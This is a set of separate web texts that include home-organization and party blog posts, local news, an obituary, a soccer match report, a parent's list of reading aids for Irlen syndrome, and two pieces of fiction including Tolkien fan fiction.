My garage is filled to the brim with, let's face it, mostly junk. I never put much thought into it until now. I'm surprised that I have neglected such a large part of my home. When I laid my eyes on the following photos, I was truly excited to start our garage organization.
Photo One: California Closets has created the happiest garage space I have ever seen. With clean white walls and shelving, even the jug of automobile oil looks like art! If my garage ever looked like this, it might be hard to leave.
Photo Two: Better Homes and Gardens' painted pegboard and decorative touches add a fun flair to this garage. The happy blue lockers are a great storage idea that also add a bit of playfulness to the space. Check out the full article Ideas for Garage Organization for more great tips!
Photos Three & Four: Leave it to Martha Stewart to create such a "homey" garage space. With pine walls, built-in storage and a mudroom, this garage is defintely a place to take off your hat and stay awhile.
Photo Five: One more from California Closets. The chocolate walls and steel cabinets give this garage a cool, modern, serene sensibility. Check out their website for more garage storage ideas and inspirations.
Images: as linked above


text:
Best Kids Parties: Sunshine
Name: Sophie Bird (1)
Location: West Village, NYC
I can basically credit Pinterest for all my ideas and decor that we used and created for Sophie's first birthday. I went back and forth about a theme for a while but wound up deciding on Sunshine because she just is so sunshiney.
I wanted the decor to be broad so we settled on yellow and pink. Our house has a lot of pink - pink rugs, pink horse head on the wall - so it worked pretty well. I got pictures of Sophie blown up huge and stuck them to existing frames in both our kitchen and living room. We got 100 balloons and made a sort of balloon den when you come in - it was pretty awesome.
I made about 98% of the baked goods, save for the party favors from Tookies on Etsy. I made a "sweets table" and baked a 6-layer ombre "sunset" cake from scratch. Not proud of all the food coloring I used but it looked pretty dope. I made all the decorations from inspiration found from the Purl Bee and also from Martha Stewart. I was inspired by clean, vibrant visuals that made you feel like you were sort of in a studio space - but also the warmth of being at home.
I am very proud of this party - I worked my butt off for months! We were surrounded by our best friends and family - Sophie had so much fun and it was such a celebration. Let's just say i will be ordering pizza and booking a play space from now on ;)
Thanks Jessica!
(Images: Elizabeth Andrien)


text:
A financial adviser might be expected to recognise a goldmine when he stumbles across one.
But Chris Harris admits to being pleasantly surprised at how lucrative app development has proven for six-year-old business Kaiparasoft, which he and his brother Stephen gave up their day jobs to start.
In the past financial year the Kumeu company made about $5 million and, fresh from buying Scottish developer Digital Goldfish, it expects a big growth spurt this year.
"We're pretty confident we'll double last year's revenue - maybe more," Harris says.
Kaiparasoft writes games under the Ninja Kiwi name and gets 70 per cent of its revenue from users of Apple iOS and Android devices. That proportion is set to increase thanks to its latest release, a game called Bloons Tower Defence 5, which went straight to No2 in the iTunes App Store in the US, with help from the mobile development expertise of Digital Goldfish.
"Our strategic plan in buying the Scottish studio was to do a lot more mobile development," Harris says. Not that Harris - the former financial adviser - imagined the business would expand so quickly. He was roped into it by Stephen, who abandoned a geophysics career to get a qualification as a games designer.
"I was quite interested in developing a business that would make a passive income," says Chris Harris. "Things turned out even better than our naive expectations - it was only about six months before we began doing it full-time.
"Many people have quite accurately described the internet in general and mobile game development in particular as something of a goldrush."
Some prospectors perish without hitting paydirt and others find a fortune, he says. "There are a number of factors that play into the success formula, but you certainly can't predict it."
That's not say it's all been smooth sailing. For all the success of the new Bloons, which costs US$2.99 (NZ$3.60) but was discounted to US99c for Christmas and by mid-December had been downloaded 330,000 times, other games have cost the company tens of thousands of dollars but have failed to fly.
The trick is to create one in which users are happy to invest their time - and a little money, Harris says. "When you consider that going to the movies costs $15, that's the equivalent of 15 99c iPhone games, which will give you countless hours of play."
He doesn't see the goldrush ending soon, as the internet, social media and mobile markets continue to develop at a fast pace. But he is not prepared to risk the company culture by accepting an investment from a venture capitalist to accelerate Kaiparasoft's growth.
"We're self-funded and we'll continue to be. That's not to say that at some point in the future someone won't decide to make us an offer for the whole business that is too good to refuse.
"But we're just having too much fun at the moment - it's really cool being in control of your own destiny."


text:
MANHATTAN -- Edible insects, tightrope-walking rats and all-you-can-eat pancakes?
It's that time of year again. K-State's All-University Open House will be open to the public on the Manhattan and Salina campuses from 9 a.m. to 3 p.m. on April 16.
K-State's All-University Open House is free, and gives the public and prospective students an opportunity to experience K-State firsthand.
Hands-on demonstrations, entertainment, exhibits and tours offer everyone a taste of what the university has.
Each college puts together an assortment of educational demonstrations and activities, many of them interactive and kid-friendly. A cornucopia of food and entertainment options also will be available.
For future students, college and program representatives will be on hand to discuss K-State's more than 250 majors and options.
Walking tours of the campus will leave every half hour from the admissions booth in the K-State Student Union, with the noon and 1 p.m. tours to be conducted bilingually, in both English and Spanish.
Starting at 10 a.m. the Academic and Career Information Center in 14 Holton Hall offers a free online career assessment to help people evaluate their strengths and options. Sign up early as the test is limited to eight people an hour.
The residence halls, Jardine Apartments, scholarship houses and K-State's Greek houses also will have information available and tours throughout the day.
Open house offers activities across campus:
-- A glass-blowing demonstration will take place at 10 a.m. and noon in Willard Hall.
-- Visit K-State's award-winning student radio station on the first floor of the union.
-- The physics department will do fun demonstrations in Cardwell Hall.
-- Ride a train from Bosco Plaza through campus and learn about the College of Engineering.
-- Go on a pirate's treasure hunt starting at Bluemont Hall.
-- See baby chicks and the live microorganisms from a cow's stomach in Weber Hall.
-- Entertainment will include Cadence, K-State's a cappella group, at 10:30 a.m., and the K-State Singers at 11 a.m., both in the quad.
-- The Lecompton Re-enactors will perform scenes from the Civil War in period costumes at 10 a.m. and noon in the quad.
-- On the Spot Improv will do a set at 1 p.m. at Bosco Student Plaza, and the Kansas City Marching Cobras drill team will perform around 2:15 p.m., also at Bosco Plaza.
Plenty of food will be available, and options will run the gamut from Seaton Hall's pancake feed to a sampling of insect cuisine in the Glenn Beck Dairy Barn at the university gardens.
See http://consider.k-state.edu/openhouse/2011/ for a complete listing of open house events and activities and a video.


text:
|Episode Description
|Saturday, Nov 3, 2012 - 7:00 PM
"You're Never Too Young"
This program is based on Welk's book of the same name. Highlights include Tom Netherton singing "Young at Heart." The orchestra plays "Isn't It Romantic." Bob Havens and the rhythm section swing out with "Maggie Blues." G
Mountain Time
|More on IDAHO (MT)
|No upcoming shows in database


text:
Morgan Rich-New
Morgan Rich-New, age 19, of Hot Springs passed away Tuesday, March 26, 2013.
Morgan was born on February 19, 1994, in Tulsa, Oklahoma.
Visitation will be Monday, April 1 from 6:00-8:00pm at Regency Funeral Home, in Malvern, with Military Honors starting at 7:00pm.
Cremation arrangements are by Regency Funeral Home. You may sign the guest book at www.regencyfuneralhome.com.


text:
Pseudopod 316: The Persistence Of Memory
by William Meikle.
"The Persistence of Memory" originally appeared in the collection DARK MELODIES (Dark Regions Press 2012). "Think of happy popular piano players/singers – Russ Conway, Liberace, Fats Waller, Fats Domino. And think of what's behind the smiles.".
William Meikle is a Scottish writer with fifteen novels published in the genre press and over 250 short story credits in thirteen countries. His work appears in many professional magazines and anthologies and he has recent short story sales to Nature Futures, Penumbra and Daily Science Fiction among others. He now lives in a remote corner of Newfoundland with icebergs, whales and bald eagles for company. In the winters he gets warm vicariously through the lives of others in cyberspace, so please check him out at William Meikle.com. His Dark Regions Press collection DARK MELODIES (2012) is available now in hardcover and paperback – check it out here.
Your reader this week – Christiana Ellis – was last heard here reading PSEUDOPOD 268: Let There Be Darkness.
"Betty woke with a start, heart pounding so loud in her ears that it took several seconds to realize a different sound had brought her so rudely awake; someone was playing the piano in the dining room beneath her.
She sat up in bed, gasping for breath, adrenaline jolting through her like fire.
It couldn't be her husband, for he had been dead these three years now. But whoever was downstairs knew exactly what to play to get her heart racing; the old songs from when the sun shone and life was good.
'I'll be seeing you in all the old familiar places.'
Her heart refused to slow. The playing reached a crescendo for a final chorus and sent vibrations all through the old house, dust mites bouncing on the floorboards. The last chord rang and echoed in the still night. Then everything was quiet.
Betty stayed sitting upright in bed, straining to hear any sound of movement from below, waiting for the scrape as whoever had been playing stood from the piano stool. But there was nothing, just her heavy breathing that slowly returned to something approaching normal. She would not get any further sleep; that was for sure. She stepped out of bed, wincing at the cold that seeped from the floorboards, and pulled on her old dressing gown. When she got to her bedroom door she stood still for a while, listening, hearing only the slight rush of wind from outside and the far off sound of a car on the main road. She was already starting to dismiss the piano playing as the last remnants of a dream.
'What else could it be?'"


text:
I often refer to it as a "vision" issue, but in all factuality it's a neurological problem which is why depth perception & headaches are also a huge part of struggling with VPD/SSS/Irlen. It just so happens that because we process things differently we see more intently, we hear more loudly, & some of us even have an extremely heightened sense of smell & touch. Below is our list of favourite items that help us through our days with a VPD/SSS/Irlen diagnosis.
1. Audio Books. In all honestly we've been using audio books since well before my children were even born. I'd check them out of the library & pop them on the tape or cd player in the car as I drove my husband to & from work. Our top favourite source for Audio books is, of course, Audible.com The selection of books is not only amazing the narration done on the audio book they have is phenomenal. I'm not going to say every audio book is a winner, but in 10 years of being a member we've only had 2 that we weren't particularly keen on the narration of. Other sources for audio books are: ScribD & Learning Ally {see below for more details}.
2. iPad/iPod. If someone were to ask who is most opposed to electronics in our home there'd be a resounding answer of, "Mum!" It's true. I'm often asking people if they have a timer running while they are using a device, or asking what they are doing {playing or learning}, or any one of a million other questions. Funny thing is, 2-3 years ago I lobbied for my son to get an iPad for his birthday. Crazy, right? I thought so, especially considering his age. Truthfully, though, I knew he needed it. Yes, needed. He needed it for audio books, text to speech ability, Siri Capability, & a vast array of other things that help him navigate his day. I'm not gonna lie I've never been a big Siri's fan. She's annoying, she never understands anything I say, & it seems I always activate her when all I want to do is check the time or my step count for the day. However, my boy has learned not only how to navigate Siri's unusual temperament, but her vast ability to help him. He's no longer ashamed ot play word games with anyone, he's no longer afraid to play games that require him to read or write in front of others, & he's no longer intimidated by books that take him 500x longer to read then most people. If he can't figure out how to spell a word, or he wants to verify that he's read a word correctly, or he wants to know the meaning of a word, he simply asks Siri. Sure, he can ask Mr S or I, & he knows it. He asks us all the time, he asks us so much there are times when I have to say, "I want to help you, but I'm so tired I'm not even sure if I've called you by your real name, your nickname, or some name I made up without even realising I did it. Ask Siri."
3. Calculator. Our eldest has VPD/SSS/Irlen on the extreme side & this means that when he's doing multi-step math problems he knows exactly what he's doing, but it's not uncommon for him to write a number backwards, upside down, or simply align them wrong. A calculator helps him not only survive math, it helps him thrive. This kid is crazy smart & the use of a calculator allows that ability to shine. He was terrified the first time I instructed him to use a calculator! "No way that's cheating, & I'm not going to cheat no matter how long it takes me!" I had to explain that a calculator can't give you the answer if you don't know how to find it yourself. There are times when he'll opt out of using a calculator for fear of getting rusty on his basic facts, days like that we split the difference & he does half the problems with a calculator & half without. It's helped rebuild his confidence in math.
4. Coloured Paper. I've mentioned it a few times over around here, but our specialist has the kids using coloured paper. The difference between my kids writing on white paper vs the colour that works best for their VPD/SSS/Irlen is amazing. I've shared photos & stories over & over of the difference with my kids & it never ceases to amaze someone who sees it. In fact, there are times when it amazes the culprit as well.
5. Glasses. Okay, so I know I stated that VPD/SSS/Irlen is not a vision problem, & it's not, which might make you wonder why glasses are a big deal. Did you know that of the 3 people in our home who have tested positive, none of us wear glasses? Two of us have been told forever & a day we have perfect vision while the other one has an underdeveloped ability to read small print, but it wasn't worthy of reading glasses. Our glasses look pretty snazzy with fancy tints in them in an array of colours, & while we're often asked if we're wearing sunnies we aren't. The objective of the tints is to help channel out the colour we are over processing. Yellow & red for all of us. Without our glasses we are grumpy, irritable, mean people who can't see straight & are often walking around rubbing our eyes & our heads.
6. E-books. I'm not a fan of ebooks, I've never been a fan of them. I've tried to be a fan, I have. I've read a few fictional novels on my Kindle Keyboard & I've enjoyed the experience, but in general I'm a real book kinda person. However, our eldest's thrives on Ebooks. He can adjust the size of the font, the colour of the pages, & the brightness of his screen when using his ipad. When I have him reading most eBooks he uses the Kindle Touch which has no lit back screen & is spot on amazing for him. He can still adjust font size & feel like he's reading a book just like everybody else. Our #1 source for ebooks is Amazon merely because they have a huge amount of them, but we do use other sources like ScribD. You pay a monthly subscription fee & have access to hundreds of ebooks & audio books. The catch is you can only access 1 audio book per month without paying extra & the ebooks can only be accessed on the Kindle Fire or an iPad or other tablet. Even still this kid is plowing through books of late making our $8 subscription to the website worth it.
7. LearningAlly.org. I'm not sure how available this is to people outside of the USA, but I've seen it up for grabs over on Homeschool Buyers Co-Op as well as directly through their website. An annual subscription {not on special} is $119 USD, which isn't exactly cheap in my book. However, the world of books this opens up for my boy & the ability to do the Lit portion of his school on his own is totally worth the price. Many of Learning Ally's books are narrated by volunteers & if we lived stateside we'd absolutely sign up to contribute! You do need a letter from your Dr or Specialist stating that your child has a verified vision or learning disability that would benefit from audio books before they will grant you more then a 14 Day trial to the website. If you don't have a letter or confirmation they are willing & able to help you get that.
8. DragonSpeak. The programme itself is pricey & you have to pay for updates. It takes time to figure out & train, but once you do this programme is amazing. Just because my children have been diagnosed with VPD/SSS/Irlen doesn't mean they aren't required & taught to write. Our eldest, specifically, uses DragonSpeak to write his papers, take notes, & more. If you go with this programme you're going to really have to take the time to train the computer to work with you. One way I've done this is to have my children grab a 'baby' book & read to the programme one sentence at a time & then verify that everything was spelled correctly by Mr Dragon-Breath. I used this programme, for a while, to turn some of my boy's reading books into printable copies. Insanely time consuming, but he needed his books on Blue Paper & this was a method that worked for us.
9. Epson WP-4530 Printer. We've owned many Epson printers over the years, but this one, by far, has to be our top notch favourite. When our last printer needed replacing I had a list of specifics I wanted & this printer not only cleared ALL of those, but more. The ink lasts a LONG time which is a HUGE need in our home considering all my kids school books have to be copied onto their specially coloured paper. I wanted a flat loading paper tray because in the summer, around here, the paper can get all curly & such in the humidity. Add to that I can take a kid mathbook spine off & put it in the top of this printer, click 3 buttons & it will print both sides of the paper out without me needing to hover nearby. Love. I can print out the kids PDF books 2 sided with 1 click of the button, & my boy is delighted he can print from his ipad too. This printer is AMAZING. It prints, copies, scans, & faxes. All though, we've never intentionally used the fax option.
10. Our beloved Dr T. I know she's made it 10th instead of 1st, but in all fairness this list is in no particular order. Dr T has not only helped us figure out what's going on & find a solution she truely engages with the children & wants to know what they've been up to during all those months since she saw them last. She & our eldest got carried away for 20 minutes discussing Field Hockey, & the delights, funs, & sorrows of the game. He shared with her how he had the ability to use a blue ball in one game & how he felt his ability to play was better then when his team used a white ball. He's right, actually, not only was he more aggressive he scored 3 goals in the first half. Our youngest, being knew to the process, was nervous about the whole thing but she made him feel comfortable & listened to him without ounce blowing off any or his silly or sarcastic comments. She knows how hard to push them & exactly when they can't take another moment of it. She never leaves me, as a parent or a teacher, feeling like I could have done more for my children. I constantly walk away knowing I'm doing all I can for my children & generally leave behind names of resources we've found incredibly helpful that she's keen to pass on to other patients.
You may not find that all of these items work well for you, admittedly we don't all use every resource above. Our eldest, having VPD/SSS/Irlen the most severely absolutely uses every single resource above, where as my youngest & I tend to only use some of them. However, every day is different & that means our needs for the resources above differ based on the day.


text:
FOXBOROUGH, Mass. – Benny Feilhaber and Kelyn Rowe each scored one goal and assisted on the other as the New England Revolution claimed a 2-0 win over the Chicago Fire on Saturday night at rain-soaked Gillette Stadium.
Revolution goalkeeper Matt Reis made three saves to guide New England to its second shutout of the season. The victory was the Revolution's first regular-season triumph over the Fire since May 6, 2007, snapping a 10-game winless run (0-7-3) in the series.
Rowe – who played 120 minutes in Tuesday night's U.S. Open Cup loss to the Harrisburg City Islanders – entered the match in the 64th minute and scored what proved to be the game-winning goal just five minutes later. The Revolution rookie then turned provider, setting up Feilhaber for an insurance tally in the 73rd minute.
Feilhaber partnered Shalrie Joseph in central midfield with both Clyde Simms (L ankle tendonitis) and Ryan Guy (R calf tightness) out through injury, while Colombians Fernando Cardenas and Jose Moreno returned to the Revolution's starting lineup at right midfield and forward, respectively.
New England (5-7-1, 16 pts.) was on the front foot in the opening stages and the home side almost broke through in the third minute when Feilhaber's 25-yard rocket sailed inches wide of the right post after a clever layoff from Moreno. Chicago (5-5-3, 18 pts.) went even closer in the 17th minute, hitting the woodwork when Gonzalo Segares' flicked header from Pavel Pardo's free kick slammed off the face of the post.
Those early chances proved to be the highlights of a quiet first half in which both sides worked hard to adjust to the wet conditions, including swirling winds and sheets of rain throughout.
The second half almost got off to a rousing start as the Fire hit its second post of the night in the 48th minute. Orr Barouch couldn't connect on Pardo's right-wing cross, but the ball popped straight to Dominic Oduro, who snapped a powerful header which beat Reis but kicked off the left post.
Fire 'keeper Sean Johnson came up huge in the 65th minute to temporarily keep the game scoreless, denying Rowe in a one-on-one situation. Just moments after entering the match, Rowe was sent clear behind Chicago's backline by Saer Sène. Johnson advanced off his line as Rowe entered the box and kicked the shot away with a quick reaction.
Rowe got his revenge four minutes later, however, beating Johnson to give the Revs a 1-0 lead with his second goal of the season. Feilhaber was the creator, playing the ball into Rowe's path as he made a darting run from the right wing into the box. Rowe almost lost control of the ball with his first touch, but quickly recovered before poking a shot inside the right post from near the penalty spot.
The roles were reversed in the 73rd minute when Rowe set up Feilhaber for his first goal of the season as the Revs extended their lead to 2-0. It was a give-and-go down the right side which sprung Feilhaber into the box and the 27-year-old midfielder made no mistake with his first touch, blasting a shot low under Johnson.
New England continued to pour on the pressure and almost found a third goal before the 75th minute as both Sène and Stephen McCarthy forced Johnson into quality saves, but further insurance wasn't necessary as Reis and the Revolution backline held on for the clean sheet.
The Revs will be off next weekend and won't return to action until Saturday, June 16, when they'll host the Columbus Crew in another Eastern Conference showdown. Kickoff from Gillette Stadium is set for 7:30 p.m.
New England Revolution vs. Chicago Fire
June 2, 2012 – Gillette Stadium (Foxborough, Mass.)
New England Revolution 2, Chicago Fire 0
Scoring Summary:
NE: Kelyn Rowe (Benny Feilhaber) 69
NE: Benny Feilhaber (Kelyn Rowe) 73
New England Revolution: Matt Reis, Chris Tierney, A.J. Soares, Stephen McCarthy, Kevin Alston, Lee Nguyen, Benny Feilhaber, Shalrie Joseph ©, Fernando Cardenas (Kelyn Rowe 64), Saer Sène, Jose Moreno (Blake Brettschneider 77)
Substitutes Not Used: Bobby Shuttleworth, Darrius Barnes, John Lozano, Diego Fagundez, Jeremiah White
STATS: Shots 15, Shots on Target 8, Corner Kicks 7, Saves 3, Fouls 9, Offsides 1, Passes Completed (percentage) 449 (74.8%), Possession 52.1%
Chicago Fire: Sean Johnson, Dan Gargan, Jalil Anibaba, Austin Berry, Gonzalo Segares, Logan Pause (Rafael Robayo 74) ©, Sebastian Grazzini, Pavel Pardo, Orr Barouch (Federico Puppo 77), Dominic Oduro (Chris Rolfe 69), Patrick Nyarko
Substitutes Not Used: Paolo Tornaghi, Hunter Jumper, Daniel Paladini, Michael Videira
STATS: Shots 9, Shots on Target 3, Corner Kicks 2, Saves 6, Fouls 14, Offsides 1, Passes Completed (percentage) 417 (72.7%), Possession 47.9%
* Note that all statistics are unofficial
Misconduct Summary:
CHI: Barouch (caution) 60
Referee: Fotis Bazakos
Assistant Referees: Craig Lowry, Greg Barkey
Fourth Official: Jorge Gonzalez
Weather: Rain and 65 degrees
Attendance: 12,523
Team Records
New England Revolution: 5-7-1 (16 pts.)
Chicago Fire 5-5-3 (18 pts.)
- Tonight's match was the 41st MLS regular-season meeting between the two teams and the 60th meeting overall, including MLS Cup playoffs, U.S. Open Cup and SuperLiga meetings
- With the win, the Revs improved their record to 14-18-9 against Chicago in the all-time, regular-season series between the two teams … in all meetings, Chicago holds a 28-22-10 edge in the series
- The Revs are now 10-8-3 at home against Chicago all-time, including a 8-5-2 record at Gillette Stadium
- The win snapped a losing streak of 10 regular-season games against the Fire … prior to tonight, the last in-season win came on May 6, 2007 at Gillette Stadium (3-1)
- The win tonight also snapped a five-game winless streak (0-4-1) at home against Chicago dating back to the win on May 6, 2007
- Tonight's match was the first of three regular-season meetings between the two clubs this year … on Aug. 18, the Revs will travel to Chicago before returning to Gillette Stadium to host the Fire on Oct. 20
- With the victory tonight, the Revs earned their fifth win of the season, matching the club's win total of the 2011 campaign when the club went 5-16-13 in the 34-game season
- The Revs earned their fourth home win of the season in just their sixth home contest in 2012, matching the team's home-game win totals of last season following a 4-7-6 record at Gillette Stadium in 2011
- Kelyn Rowe scored his second goal of the season 69th minute, his first goal since March 31 at LA
- Benny Feilhaber recorded his first assist of the season on Kelyn Rowe's 69th-minute goal, his first assist since Sept. 10, 2011 against FC Dallas
- Feilhaber later recorded his first goal of the season in the 73rd minute … the goal was his first since Sept. 7, 2011 at Philadelphia
- Kelyn Rowe earned his first career assist on Benny Feilhaber's 73rd minute goal
- Jose Moreno returned to the starting lineup at forward, his first start since May 2 against Colorado … it marked the fourth time this season that Moreno has lined up alongside Saer Sène at forward
- Saer Sène did not score tonight, snapping his three-game goal-scoring streak
- Matt Reis recorded his second shutout of the season, his first since March 24 in the 1-0 win against Portland … Reis now has 66 career shutouts and is now 10 shutouts behind Zack Thornton for fourth on the list of all-time shutout leaders (76) … Kevin Hartman leads all goalkeepers with 107 career shutouts


text:
The Last Grey Ship - Dawn waxed cold and clear as it spilled upon the spires of Minas Tirith, and twin to the newborn day was the month of March. Brilliant gold capped the frosty crown of Mindolluin, washing then to ruddy rose, and in the low fields lambs
The Last Grey Ship
by ErinRua
Dawn waxed cold and clear as it spilled upon the spires of Minas Tirith, and twin to the newborn day was the month of March. Brilliant gold capped the frosty crown of Mindolluin, washing then to ruddy rose, and in the low fields lambs frolicked at play. Yet within the city all hearts turned but one way, towards a humble westward gate in the wall of the sixth circle. Seldom ever did that gate open, and sorrowful were the twisting ways beyond. For there beneath the mountain's stony flank lay Rath Dínen, the Silent Street, and along it stood the mansions of the great dead of Gondor. Kings and nobles, lords and princes slept here, and at last also rested the two gallant hobbits, Meriadoc Brandybuck and Peregrine Took. Here would pass Aragorn, son of Arathorn, the last of the great Kings of the Elder Days, and thence he should not return a living man.
In the house given them for lodgings, Legolas swept his grey cloak about his shoulders and laid a hand to the door. Gimli, however, stood with his feet planted square on the floor, and did not move.
"Let the dead keep the dead," he announced. "My heart holds remembrance of a living man, and I would keep it so."
"But he is not yet gone from us," Legolas said. "There is still a little while."
"And what more is there for us? Will you say farewell until there is no breath left to speak it?" Gimli spoke as if in anger, but other emotions often mask themselves so, and his tone then gentled. "There are those who love him more than even us, and to them this day belongs. Here I shall wait, until the bells tell me he has gone."
Distress marked itself clearly on the Elf's smooth brow, but he saw the grievous truth in Gimli's words. Slowly he sank down upon an open window ledge, and turned his face towards the quiet city beyond. There they waited, in a silent room where a breeze brushed the window coverings aside and brought a moist promise of rain. Anon the Sun hid her face behind a soft floss of cloud, and the mighty ribbon of the Anduin was slowly hidden behind the drawing of a misty veil.
As the morning waned the streets began to whisper with the soft tread of the people. Not to duty nor market did they come, but hither to the winding streets upon which their King had passed. They gathered on its curbs and waited, although to what purpose most could not say. The quiet assemblage grew and waited more, as the mist crept from the river and veiled from sight even Mindolluin's lofty, rugged crest. At last Gimli arose and Legolas went with him, passing down into that shadowless white morning to join the hushed throngs lining the avenue. Then from the towers spoke the peal of a single bell. Its deep, iron resonance lingered and shivered among the shrouded stones ere the next slow strike came. Even as a heart beats deepest, the bell struck, each toll shuddering into the silent bones of the city, and the very breath of the people was stilled.
Up from the Silent Street he came, he who would now be King. As he walked he bore in his arms the winged white crown of Gondor and with it the ancient scepter of Arnor. Like the wind comes up the river in a rushing of many leaves, so the mourning of Minas Tirith swept through her streets, until one thought that Eldarion drew sorrow with him as heavy train. Many there were who wept unashamed, whether maid or man-at-arms, for few now living remembered a day when Ellesar the King had not reigned, his influence as constant as the Sun and Stars. The mist became a light rain which blessed the far fields, and also laved faces already made wet with lamenting. Neither left nor right did Elessar's heir look, for the tokens he bore spoke beyond all words. Two who watched found their message to be bitter as swords in the dark, and the stroke of it drove deeper than death. As the prince passed, Gimli fell to his knees on the hard stones, and the storm of his anguish broke like thunders upon the high peaks. For Legolas there was only silence, though the blade of his grief pierced so keenly that his hands sought, unbidden, as if for a hidden wound.
Thus ended Aragorn, son of Arathorn, last of the Númenoreans, having given up his life as was the gift of his kind, and so passing into mystery before the strength of manhood and kingship withered from his grasp. Thus, too, ended a Fellowship which would be sung of even after their Age had died all away, and after legends had forgotten that living beings and not gods had done such deeds.
They lingered in the City, while things were done that necessity and custom declared for the passing of great kings. There would be a new king crowned, in the due passing of days, and all matters of governing would be discussed at length, in chambers deep within the city. The Lady Arwen would surely meet with ministers and counselors as well, as her son prepared himself for the throne. Lords from all parts of the realm would soon come to pledge anew their fealty and obedience, and ambassadors from afar would bring tidings of their good will. Meanwhile banners were flown and dirges played, and minstrels sang of the King's greatness. To Legolas and Gimli, however, the songs almost spoke of a stranger, much removed from the man they had known. For though he had been mighty in his rule and terrible in battle, so too he had been their beloved friend.
"I wish I could stop looking," Gimli said.
"Looking for what?" Legolas asked, and then he caught himself on the razored edge of his own silent reply. Just that morning he had paused at a certain turn of the street, and stood several heartbeats until he realized who it was he waited for.
All the city moved in one direction or another, in grieving and preparation at once. Yet Gimli and Legolas found themselves standing with empty hands and soon felt very much forgotten. Only they could not cast aside entirely the old loyalties of their hearts, and so they waited until a servant found them on the third day.
"The Lady awaits you," he said, and they followed.
He led them to the private halls of the family, and thence to chambers where not even they had trod before. Here the servant tapped an oaken door, then opened it, bid them to enter, and slipped away.
Within the chamber a bank of candles glowed, and a long curtain drifted from an open window, spilling sunlight in a wavering pool upon the floor. Near the window a slender figure sat, the rich fall of her dark hair washed in soft light and shadow. Lady Arwen, wife of a great King, daughter of Elrond Lord of Rivendell, and yet never had she seemed so small and alone. They drew near on hushed feet, for she did not turn to greet them.
She was aware of their presence, however, and said softly, "Forgive me that I have not turned my thoughts to you sooner."
"Nay, Lady," Legolas replied. "Your cares are many, and the hospitality of your people has kept us well."
"Nonetheless, I have misused the blessing of your friendship." She turned, then, and they were stilled by the fullness of her gaze upon them. "Please, rest yourselves at ease."
They seated themselves on cushions at her bidding, but dared not speak, for the Lady Arwen was much changed. Although her Elven beauty remained untouched by the passing of time, where once the brilliance of stars had shone in her eyes, there lay only lusterlessness, like water beneath ice that never knows the Sun. Where once the silvered shimmer of twilight had clung about her as a fragrant mist, now only shadows filled the sweet curves of her face.
"I have news which may bring some small comfort for you," she said. "Two of our most honored now rest beside the King. It was his wish that Merry and Pippin, beloved among hobbits, should be moved to sleep there at his side."
"That is indeed well," Gimli said. "An unsurpassed honor, and none more deserving."
A moment passed, and they saw her hands move upon a smallish, cloth-wrapped parcel in her lap. Fragile those fingers seemed, as if turned from finest glass. She directed her gaze once more to the window, but her sight passed far beyond them to some bleak, unfathomable distance.
"I took the cup of Lúthien knowing well, or so I thought, the draught I would drink. But now I have come to the dregs at last, and they are bitter upon my tongue." She sighed a frail breath that would have scarcely disturbed goose-down. "I see neither Sun nor Moon, and all the stars have gone out."
"Gondor and Arnor still remain," Gimli said, although the words came like ill-fitting tools to his hands. "Your son and daughters as well, and all who know you love you."
Her hands gently turned the wrapped thing she held. "Then let them love my memory."
Now her fingers worked carefully in the silken folds, and light fell upon the object cradled therein like sunlight ablaze in new leaves. A great green gem was revealed, set in the embrace of a silver eagle, wings outstretched, and for an instant they ceased breathing.
"Elessar," Legolas whispered, and so it was.
The great Elfstone itself, which Galadriel Queen of Elves had given to her daughter, and which passed thence to Arwen, her granddaughter. Amid the dark days of Sauron's threat, it had been Arwen's request that Galadriel let the Elfstone pass to Aragorn, to light their hopes until all was fulfilled, or all was ashes. None had seen it since except it was in Aragorn's possession, ever a potent symbol of his birthright. Gimli found himself with a hand pressed to his bearded mouth, to stifle the cry pressing there.
"I know my beloved spoke to you," she said. "And his wishes are bound to your heart."
Lightly her fingers traced the smooth, verdant face of the stone, a touch as delicate as if upon a lover's lips. "Legolas Greenleaf, dear friend of my Lord and myself, I now ask only one kindness."
"Speak it," he said.
Then her gaze turned to him, deep with sadness so keen he was stricken dumb.
"Take this," she said. "Take it, and keep it with you." Swiftly she touched the stone to her lips, then bent gently as a lily falling, and placed the precious thing in Legolas' startled hands. "Bear it upon the grey ship that will carry you into the West, and let it be our remembrance there."
Gimli first found speech, saying, "Lady, it belongs to your children, your daughters, even as it was your mother's before you."
"Nay, dear Gimli, it does not," she said, and the sadness of all the ages lay upon her. "It belongs to a world that has passed."
Legolas held the Elfstone as one who thinks to be burned, and in her eyes he saw at last the terrible distance yawning between them. For him there remained the promise of all the Firstborn, the welcome of the Undying Lands and a ship to carry him, when at last the world weighed too heavily upon him. Yet for her, who had lived years equal to countless lives of men before he was even born, there would be no ship. By her heart's choice she was lost to her Elven people, lost beyond all hope of healing or reunion, in this world or beyond. Though knowledge of her chosen doom had been with him long, its fruition came now unlooked-for, and he felt as if he teetered at the brink of a bottomless abyss.
Arwen arose in a silken whisper of skirts and slippers. She turned away from the window, towards the candles glimmering across the room, and the light cast her face as if it were carved in alabaster stone, beautiful, but cold and without life left in it.
"Arwen Evenstar I have been, but now I must pass into Night. Perhaps it shall be as my beloved said, that beyond the circles of the world is more than memory. Blessed shall be the hour of my leaving."
"Leave?" Gimli sputtered. "Where are you going?"
"To Lothlorien," she said, and walked to gaze into the candles' glowing hearts. "To Cerin Amroth, if I am permitted."
"But none live there now," Legolas protested, as both he and Gimli stood. "Even Celeborn has passed on to Imladris, and the Golden Wood is silent these many seasons."
Her head bowed in candlelight, briefly crowning her in softest gold. "Nonetheless, hither I shall go."
"Very well," said Gimli. "When do we leave?"
"I go alone, dear Gimli."
"Alone!" Gimli's eyes nearly started from his head. "Lady, you cannot! The season is still early, the road is long and treacherous, and a Queen does not simply -."
"I can, and I shall." She turned swiftly, ere their further objections found voice. "Contest me not in this, if you bear me any least love."
Then her manner softened and she drifted near, gazing upon them kindly. The fingers of one hand she lightly touched upon Legolas' shoulder, and she looked deeply into the eyes of her husband's friend, her kinsman, he who would be last of all her people from whom she parted. In the Elven tongue she spoke, and that as softly as the current lifting the curtains nearby.
"Wilt thou remember us, Legolas Thranduilion, on the blessed shores of Tol Eressëa?"
Cupping the precious token in his hands, Legolas found his reply, though it came with great pain from the cracking of his heart.
"There I shall sing of thee, Lady Undómiel, and of Elessar who was King, so that none shall forget so long as the world remains."
"Then I thank thee, and call thee blesséd."
For Gimli she had only the touch of her hand upon his bowed head, as it were in benediction. Then she went from that room silently as frost flees the sun, and passed thence forever from their sight.
